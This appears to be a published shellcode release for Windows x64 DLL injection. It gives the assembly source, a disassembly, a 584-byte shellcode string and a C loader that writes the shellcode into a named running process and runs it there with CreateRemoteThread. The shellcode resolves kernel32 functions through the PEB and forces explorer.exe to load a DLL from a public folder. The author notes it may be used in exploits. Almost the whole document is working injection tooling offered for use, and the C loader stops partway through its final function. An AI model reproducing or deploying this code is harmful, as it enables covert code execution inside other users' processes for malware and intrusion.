/*
 
    Title: Windows x64 dll injection shellcode (using CreateRemoteThread())
    Size: 584 bytes
    Date: 16-01-2017
    Author: Roziul Hasan Khan Shifat
    Tested On : Windows 7 x64
 
 
 
 
 
 
*/
 
 
 
//Note : i wrtie it for process injection
//It may work in exploit
 
 
 
/*
 
section .text
    global _start
_start:
xor r8,r8
push r8
push r8
 
mov [rsp],dword 'expl'
mov [rsp+4],dword 'orer'
mov [rsp+8],dword '.exe'
 
lea rcx,[rsp] ;;process name (explorer.exe) change it if U want
 
 
push r8
push r8
push r8
 
 
 
mov [rsp],dword 'C:\U'
mov [rsp+4],dword 'sers'
mov [rsp+8],dword '\Pub'
mov [rsp+12],dword 'lic\'
mov [rsp+16],dword 'in.d'
mov [rsp+20],word 'll'
 
lea rdx,[rsp]   ;path of the dll (change it to U full path of dll)
 
 
 
 
;--------------------------------------------------------
 
mov r8w,336
 
sub rsp,r8
lea r12,[rsp]
 
push 24
pop r8 ;(important: length of dll path string including null byte)
 
 
mov [r12],rcx ;process name
mov [r12+8],rdx ;dll path
mov [r12+16],r8 ;length of dll path string
 
;----------------------------------------------------------
 
 
 
 
 
_main:
 
cdq
mov rax,[gs:rdx+0x60] ;peb
mov rax,[rax+0x18] ;peb->Ldr
mov rsi,[rax+0x10] ;peb->Ldr.InMemOrderModuleList
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30] ;rdi=kernel32.dll base address
 
 
 
;------------------------------------------
mov dl,0x88
mov ebx,[rdi+0x3c] ;DOS_HEADER->elf_anew
add rbx,rdi ;IMAGE_OPTIONAL_HEADER32
mov ebx,[rbx+rdx] ;IMAGE_DATA_DIRECTORY->VirtualAddress
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY (Export table of kernel32.dll)
 
mov esi,[rbx+0x1c] ;kenrel32.dll AddressOfFunction
add rsi,rdi
 
;-------------------------------------------------------
;loading msvcrt.dll
cdq
push rdx
mov dx,832
mov ebx,[rsi+rdx*4]
add rbx,rdi
 
 
mov [rsp],dword 'msvc' 
mov [rsp+4],word 'rt'
 
lea rcx,[rsp]
 
sub rsp,88
 
call rbx
 
;-------------------------------
;Finding address of strcmp()
 
lea rdx,[rsp+88]
mov [rdx],dword 'strc'
mov [rdx+4],word 'mp'
 
mov rcx,rax
 
mov r8w,587*4
mov ebx,[rsi+r8]
add rbx,rdi
 
call rbx
;-----------------------------
mov [r12+24],rax ;address of strcmp()
;---------------------------------------------------------------
 
mov dx,190*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateToolhelp32Snapshot()
 
;--------------------------------
 
;HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)
xor rdx,rdx ;DWORD th32ProcessID
push 2
pop rcx ;DWORD dwFlags
call rbx
 
mov r13,rax ;HANDLE
cmp r13,-1
je __exit
;---------------------------------------------
mov dx,304
 
mov [r12+32],dword edx ;sizeof PROCESSENTRY32
 
 
 
mov dx,920*4
mov ebx,[rsi+rdx]
add rbx,rdi ;rbx=Process32First()
 
;WINBOOL WINAPI Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
 
lea rdx,[r12+32] ;LPPROCESSENTRY32 lppe
mov rcx,r13 ;HANDLE hSnapshot
 
 
call rbx
 
cmp rax,1
jne __exit
 
;---------------------------------------------------
 
xor rdx,rdx
mov dx,922*4
mov r15d,[rsi+rdx]
add r15,rdi ;r15=Process32Next()
 
 
 
sub rsp,88
get_pid:
lea rcx,[r12+76] ;PROCESSENRY32.CHAR szExeFile[MAX_PATH=260]
mov rdx,[r12] ;process name
mov rbx,[r12+24] ;strcmp()
call rbx
 
xor rdx,rdx
cmp rax,rdx
jz inject
 
;WINBOOL WINAPI Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
mov rcx,r13
lea rdx,[r12+32]
call r15
 
cmp rax,1
je get_pid
 
leave
ret
 
 
 
 
 
 
 
 
 
 
__exit:
xor rdx,rdx
push rdx
mov dx,297*4
mov ebx,[rsi+rdx]
add rbx,rdi
 
pop rcx
call rbx
 
 
 
 
 
 
 
 
 
 
;--------------------------------------------------
;------------------------------------------------------
;inject function
inject:
 
xor rdx,rdx
push rdx
pop r10
 
mov r10w,899*4
mov ebx,[rsi+r10]
add rbx,rdi ;rbx=OpenProcess()
 
;WINBASEAPI HANDLE WINAPI OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId)
 
push rdx
pop rcx
 
mov r8d,[r12+40] ;PROCESSENTRY32.DWORD th32ProcessID
 
;0x1e84800a-0x1e65700b=2035711 (PROCESS_ALL_ACCESS)
 
mov ecx,0x1e84800a
sub ecx,0x1e65700b
 
call rbx
 
mov r13,rax  ;PROCESS HANDLE
cmp r13,-1
je __exit
;--------------------------------------------------------------------
 
mov dx,1279
mov ebx,[rsi+rdx*4]
add rbx,rdi ;VirualAlloc()
 
;WINBASEAPI LPVOID WINAPI VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
sub rsp,88
 
mov rcx,r13 ;HANDLE hProcess
xor rdx,rdx ;LPVOID lpAddress
mov r8,[r12+16] ;SIZE_T dwSize
mov r9w,0x2fff 
inc r9;DWORD flAllocationType = (MEM_COMMIT | MEM_RESERVE)
mov [rsp+32],byte 0x4 ;DWORD flProtect = PAGE_READWRITE
call rbx
 
mov r14,rax ;LPVOID address
xor rdx,rdx
cmp rax,rdx
jz __exit
 
 
;-----------------------------------------------------------------------------------
mov dx,1347
mov ebx,[rsi+rdx*4]
add rbx,rdi ;WriteProcessMemory()
sub rsp,88
xor rdx,rdx
;WINBASEAPI WINBOOL WINAPI WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
mov [rsp+32],rdx ;SIZE_T *lpNumberOfBytesWritten
mov rcx,r13 ;HANDLE hProcess
mov rdx,r14 ;LPVOID lpBaseAddress
mov r8,[r12+8] ;LPCVOID lpBuffer
mov r9,[r12+16] ;SIZE_T nSize
 
call rbx
 
 
 
cmp rax,1
jne __exit
 
;------------------------------------------------------------------------------------
mov dx,170*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateRemoteThread()
 
xor rdx,rdx
sub rsp,88
;WINBASEAPI HANDLE WINAPI CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
 
mov rcx,r13 ;HANDLE hProcess
push rdx
push rdx
pop r8 ;SIZE_T dwStackSize
 
mov dx,832
mov r9d,[rsi+rdx*4]
add r9,rdi ;LPTHREAD_START_ROUTINE lpStartAddress (LoadLibraryA())
 
pop rdx ;LPSECURITY_ATTRIBUTES lpThreadAttributes
mov [rsp+32],r14 ;LPVOID lpParameter
mov [rsp+40],r8
mov [rsp+48],r8
call rbx
 
call __exit
 
;------------------------------------------------------------
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
*/
 
 
 
/*
 
 
 
dll_inj.obj:     file format pe-x86-64
 
 
Disassembly of section .text:
 
0000000000000000 <_start>:
   0:   4d 31 c0                xor    %r8,%r8
   3:   41 50                   push   %r8
   5:   41 50                   push   %r8
   7:   c7 04 24 65 78 70 6c    movl   $0x6c707865,(%rsp)
   e:   c7 44 24 04 6f 72 65    movl   $0x7265726f,0x4(%rsp)
  15:   72 
  16:   c7 44 24 08 2e 65 78    movl   $0x6578652e,0x8(%rsp)
  1d:   65 
  1e:   48 8d 0c 24             lea    (%rsp),%rcx
  22:   41 50                   push   %r8
  24:   41 50                   push   %r8
  26:   41 50                   push   %r8
  28:   c7 04 24 43 3a 5c 55    movl   $0x555c3a43,(%rsp)
  2f:   c7 44 24 04 73 65 72    movl   $0x73726573,0x4(%rsp)
  36:   73 
  37:   c7 44 24 08 5c 50 75    movl   $0x6275505c,0x8(%rsp)
  3e:   62 
  3f:   c7 44 24 0c 6c 69 63    movl   $0x5c63696c,0xc(%rsp)
  46:   5c 
  47:   c7 44 24 10 69 6e 2e    movl   $0x642e6e69,0x10(%rsp)
  4e:   64 
  4f:   66 c7 44 24 14 6c 6c    movw   $0x6c6c,0x14(%rsp)
  56:   48 8d 14 24             lea    (%rsp),%rdx
  5a:   66 41 b8 50 01          mov    $0x150,%r8w
  5f:   4c 29 c4                sub    %r8,%rsp
  62:   4c 8d 24 24             lea    (%rsp),%r12
  66:   6a 18                   pushq  $0x18
  68:   41 58                   pop    %r8
  6a:   49 89 0c 24             mov    %rcx,(%r12)
  6e:   49 89 54 24 08          mov    %rdx,0x8(%r12)
  73:   4d 89 44 24 10          mov    %r8,0x10(%r12)
 
0000000000000078 <_main>:
  78:   99                      cltd   
  79:   65 48 8b 42 60          mov    %gs:0x60(%rdx),%rax
  7e:   48 8b 40 18             mov    0x18(%rax),%rax
  82:   48 8b 70 10             mov    0x10(%rax),%rsi
  86:   48 ad                   lods   %ds:(%rsi),%rax
  88:   48 8b 30                mov    (%rax),%rsi
  8b:   48 8b 7e 30             mov    0x30(%rsi),%rdi
  8f:   b2 88                   mov    $0x88,%dl
  91:   8b 5f 3c                mov    0x3c(%rdi),%ebx
  94:   48 01 fb                add    %rdi,%rbx
  97:   8b 1c 13                mov    (%rbx,%rdx,1),%ebx
  9a:   48 01 fb                add    %rdi,%rbx
  9d:   8b 73 1c                mov    0x1c(%rbx),%esi
  a0:   48 01 fe                add    %rdi,%rsi
  a3:   99                      cltd   
  a4:   52                      push   %rdx
  a5:   66 ba 40 03             mov    $0x340,%dx
  a9:   8b 1c 96                mov    (%rsi,%rdx,4),%ebx
  ac:   48 01 fb                add    %rdi,%rbx
  af:   c7 04 24 6d 73 76 63    movl   $0x6376736d,(%rsp)
  b6:   66 c7 44 24 04 72 74    movw   $0x7472,0x4(%rsp)
  bd:   48 8d 0c 24             lea    (%rsp),%rcx
  c1:   48 83 ec 58             sub    $0x58,%rsp
  c5:   ff d3                   callq  *%rbx
  c7:   48 8d 54 24 58          lea    0x58(%rsp),%rdx
  cc:   c7 02 73 74 72 63       movl   $0x63727473,(%rdx)
  d2:   66 c7 42 04 6d 70       movw   $0x706d,0x4(%rdx)
  d8:   48 89 c1                mov    %rax,%rcx
  db:   66 41 b8 2c 09          mov    $0x92c,%r8w
  e0:   42 8b 1c 06             mov    (%rsi,%r8,1),%ebx
  e4:   48 01 fb                add    %rdi,%rbx
  e7:   ff d3                   callq  *%rbx
  e9:   49 89 44 24 18          mov    %rax,0x18(%r12)
  ee:   66 ba f8 02             mov    $0x2f8,%dx
  f2:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
  f5:   48 01 fb                add    %rdi,%rbx
  f8:   48 31 d2                xor    %rdx,%rdx
  fb:   6a 02                   pushq  $0x2
  fd:   59                      pop    %rcx
  fe:   ff d3                   callq  *%rbx
 100:   49 89 c5                mov    %rax,%r13
 103:   49 83 fd ff             cmp    $0xffffffffffffffff,%r13
 107:   74 60                   je     169 <__exit>
 109:   66 ba 30 01             mov    $0x130,%dx
 10d:   41 89 54 24 20          mov    %edx,0x20(%r12)
 112:   66 ba 60 0e             mov    $0xe60,%dx
 116:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
 119:   48 01 fb                add    %rdi,%rbx
 11c:   49 8d 54 24 20          lea    0x20(%r12),%rdx
 121:   4c 89 e9                mov    %r13,%rcx
 124:   ff d3                   callq  *%rbx
 126:   48 83 f8 01             cmp    $0x1,%rax
 12a:   75 3d                   jne    169 <__exit>
 12c:   48 31 d2                xor    %rdx,%rdx
 12f:   66 ba 68 0e             mov    $0xe68,%dx
 133:   44 8b 3c 16             mov    (%rsi,%rdx,1),%r15d
 137:   49 01 ff                add    %rdi,%r15
 13a:   48 83 ec 58             sub    $0x58,%rsp
 
000000000000013e <get_pid>:
 13e:   49 8d 4c 24 4c          lea    0x4c(%r12),%rcx
 143:   49 8b 14 24             mov    (%r12),%rdx
 147:   49 8b 5c 24 18          mov    0x18(%r12),%rbx
 14c:   ff d3                   callq  *%rbx
 14e:   48 31 d2                xor    %rdx,%rdx
 151:   48 39 d0                cmp    %rdx,%rax
 154:   74 24                   je     17a <inject>
 156:   4c 89 e9                mov    %r13,%rcx
 159:   49 8d 54 24 20          lea    0x20(%r12),%rdx
 15e:   41 ff d7                callq  *%r15
 161:   48 83 f8 01             cmp    $0x1,%rax
 165:   74 d7                   je     13e <get_pid>
 167:   c9                      leaveq 
 168:   c3                      retq   
 
0000000000000169 <__exit>:
 169:   48 31 d2                xor    %rdx,%rdx
 16c:   52                      push   %rdx
 16d:   66 ba a4 04             mov    $0x4a4,%dx
 171:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
 174:   48 01 fb                add    %rdi,%rbx
 177:   59                      pop    %rcx
 178:   ff d3                   callq  *%rbx
 
000000000000017a <inject>:
 17a:   48 31 d2                xor    %rdx,%rdx
 17d:   52                      push   %rdx
 17e:   41 5a                   pop    %r10
 180:   66 41 ba 0c 0e          mov    $0xe0c,%r10w
 185:   42 8b 1c 16             mov    (%rsi,%r10,1),%ebx
 189:   48 01 fb                add    %rdi,%rbx
 18c:   52                      push   %rdx
 18d:   59                      pop    %rcx
 18e:   45 8b 44 24 28          mov    0x28(%r12),%r8d
 193:   b9 0a 80 84 1e          mov    $0x1e84800a,%ecx
 198:   81 e9 0b 70 65 1e       sub    $0x1e65700b,%ecx
 19e:   ff d3                   callq  *%rbx
 1a0:   49 89 c5                mov    %rax,%r13
 1a3:   49 83 fd ff             cmp    $0xffffffffffffffff,%r13
 1a7:   74 c0                   je     169 <__exit>
 1a9:   66 ba ff 04             mov    $0x4ff,%dx
 1ad:   8b 1c 96                mov    (%rsi,%rdx,4),%ebx
 1b0:   48 01 fb                add    %rdi,%rbx
 1b3:   48 83 ec 58             sub    $0x58,%rsp
 1b7:   4c 89 e9                mov    %r13,%rcx
 1ba:   48 31 d2                xor    %rdx,%rdx
 1bd:   4d 8b 44 24 10          mov    0x10(%r12),%r8
 1c2:   66 41 b9 ff 2f          mov    $0x2fff,%r9w
 1c7:   49 ff c1                inc    %r9
 1ca:   c6 44 24 20 04          movb   $0x4,0x20(%rsp)
 1cf:   ff d3                   callq  *%rbx
 1d1:   49 89 c6                mov    %rax,%r14
 1d4:   48 31 d2                xor    %rdx,%rdx
 1d7:   48 39 d0                cmp    %rdx,%rax
 1da:   74 8d                   je     169 <__exit>
 1dc:   66 ba 43 05             mov    $0x543,%dx
 1e0:   8b 1c 96                mov    (%rsi,%rdx,4),%ebx
 1e3:   48 01 fb                add    %rdi,%rbx
 1e6:   48 83 ec 58             sub    $0x58,%rsp
 1ea:   48 31 d2                xor    %rdx,%rdx
 1ed:   48 89 54 24 20          mov    %rdx,0x20(%rsp)
 1f2:   4c 89 e9                mov    %r13,%rcx
 1f5:   4c 89 f2                mov    %r14,%rdx
 1f8:   4d 8b 44 24 08          mov    0x8(%r12),%r8
 1fd:   4d 8b 4c 24 10          mov    0x10(%r12),%r9
 202:   ff d3                   callq  *%rbx
 204:   48 83 f8 01             cmp    $0x1,%rax
 208:   0f 85 5b ff ff ff       jne    169 <__exit>
 20e:   66 ba a8 02             mov    $0x2a8,%dx
 212:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
 215:   48 01 fb                add    %rdi,%rbx
 218:   48 31 d2                xor    %rdx,%rdx
 21b:   48 83 ec 58             sub    $0x58,%rsp
 21f:   4c 89 e9                mov    %r13,%rcx
 222:   52                      push   %rdx
 223:   52                      push   %rdx
 224:   41 58                   pop    %r8
 226:   66 ba 40 03             mov    $0x340,%dx
 22a:   44 8b 0c 96             mov    (%rsi,%rdx,4),%r9d
 22e:   49 01 f9                add    %rdi,%r9
 231:   5a                      pop    %rdx
 232:   4c 89 74 24 20          mov    %r14,0x20(%rsp)
 237:   4c 89 44 24 28          mov    %r8,0x28(%rsp)
 23c:   4c 89 44 24 30          mov    %r8,0x30(%rsp)
 241:   ff d3                   callq  *%rbx
 243:   e8 21 ff ff ff          callq  169 <__exit>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
*/
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
#include<stdio.h>
#include<windows.h>
#include<TlHelp32.h>
#include<string.h>
 
 
char shellcode[]="\x4d\x31\xc0\x41\x50\x41\x50\xc7\x04\x24\x65\x78\x70\x6c\xc7\x44\x24\x04\x6f\x72\x65\x72\xc7\x44\x24\x08\x2e\x65\x78\x65\x48\x8d\x0c\x24\x41\x50\x41\x50\x41\x50\xc7\x04\x24\x43\x3a\x5c\x55\xc7\x44\x24\x04\x73\x65\x72\x73\xc7\x44\x24\x08\x5c\x50\x75\x62\xc7\x44\x24\x0c\x6c\x69\x63\x5c\xc7\x44\x24\x10\x69\x6e\x2e\x64\x66\xc7\x44\x24\x14\x6c\x6c\x48\x8d\x14\x24\x66\x41\xb8\x50\x01\x4c\x29\xc4\x4c\x8d\x24\x24\x6a\x18\x41\x58\x49\x89\x0c\x24\x49\x89\x54\x24\x08\x4d\x89\x44\x24\x10\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x52\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xc7\x04\x24\x6d\x73\x76\x63\x66\xc7\x44\x24\x04\x72\x74\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x48\x8d\x54\x24\x58\xc7\x02\x73\x74\x72\x63\x66\xc7\x42\x04\x6d\x70\x48\x89\xc1\x66\x41\xb8\x2c\x09\x42\x8b\x1c\x06\x48\x01\xfb\xff\xd3\x49\x89\x44\x24\x18\x66\xba\xf8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x6a\x02\x59\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\x60\x66\xba\x30\x01\x41\x89\x54\x24\x20\x66\xba\x60\x0e\x8b\x1c\x16\x48\x01\xfb\x49\x8d\x54\x24\x20\x4c\x89\xe9\xff\xd3\x48\x83\xf8\x01\x75\x3d\x48\x31\xd2\x66\xba\x68\x0e\x44\x8b\x3c\x16\x49\x01\xff\x48\x83\xec\x58\x49\x8d\x4c\x24\x4c\x49\x8b\x14\x24\x49\x8b\x5c\x24\x18\xff\xd3\x48\x31\xd2\x48\x39\xd0\x74\x24\x4c\x89\xe9\x49\x8d\x54\x24\x20\x41\xff\xd7\x48\x83\xf8\x01\x74\xd7\xc9\xc3\x48\x31\xd2\x52\x66\xba\xa4\x04\x8b\x1c\x16\x48\x01\xfb\x59\xff\xd3\x48\x31\xd2\x52\x41\x5a\x66\x41\xba\x0c\x0e\x42\x8b\x1c\x16\x48\x01\xfb\x52\x59\x45\x8b\x44\x24\x28\xb9\x0a\x80\x84\x1e\x81\xe9\x0b\x70\x65\x1e\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\xc0\x66\xba\xff\x04\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x4c\x89\xe9\x48\x31\xd2\x4d\x8b\x44\x24\x10\x66\x41\xb9\xff\x2f\x49\xff\xc1\xc6\x44\x24\x20\x04\xff\xd3\x49\x89\xc6\x48\x31\xd2\x48\x39\xd0\x74\x8d\x66\xba\x43\x05\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x48\x31\xd2\x48\x89\x54\x24\x20\x4c\x89\xe9\x4c\x89\xf2\x4d\x8b\x44\x24\x08\x4d\x8b\x4c\x24\x10\xff\xd3\x48\x83\xf8\x01\x0f\x85\x5b\xff\xff\xff\x66\xba\xa8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x48\x83\xec\x58\x4c\x89\xe9\x52\x52\x41\x58\x66\xba\x40\x03\x44\x8b\x0c\x96\x49\x01\xf9\x5a\x4c\x89\x74\x24\x20\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\xff\xd3\xe8\x21\xff\xff\xff";
 
 
void inject(DWORD );
int main(int i,char *a[])
{
    if(i!=2)
    {
        printf("Usage %s <program name>",a[0]);
        return 0;
    }
     
    BOOL f=0;
    HANDLE snap;
    PROCESSENTRY32 pe32;
     
    snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
     
    if(snap==INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot() Failed."); return 0;
    }
     
    pe32.dwSize=sizeof(pe32);
     
    if(!Process32First(snap,&pe32))
    {
        printf("Process32First() Failed."); return 0;
    }
     
     
     
    do
    {
        if(0==strncmp(a[1],pe32.szExeFile,strlen(pe32.szExeFile)))
        {
            f=TRUE;
            break;
        }
         
    }while(Process32Next(snap,&pe32));
     
     
    if(!f)
    {
        printf("No infomation found about \"%s\" ",a[1]);
    }
    else
    {
        printf("Program name:%s\nProcess id: %d",pe32.szExeFile,pe32.th32ProcessID);
        printf("\nInjecting shellcode");
        inject(pe32.th32ProcessID);
    }
     
     
     
    return 0;
     
}
 
 
 
void inject(DWORD pid)
{
    HANDLE phd,h;
    LPVOID shell;
     
    phd=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
     
    if(phd==INVALID_HANDLE_VALUE)
    {
        printf("\nOpenProcess() Failed."); return ;
    }
     
    shell=VirtualAllocEx(phd,0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    if(shell==NULL)
    {
        printf("\nVirtualAllocEx() Failed"); return ; CloseHandle(phd);
    }
     
    WriteProcessMemory(phd,shell,shellcode,sizeof(shellcode),0);
    printf("\nInjection successfull\n");
    printf("Running Shellcode......\n");
     
    h=CreateRemoteThread(phd,NULL,2046,(LPTHREAD_START_ROUTINE)shell,NULL,0,0);
    if(h==NULL)
    {
        printf("Failed to Run Shellcode\n"); return ;
    }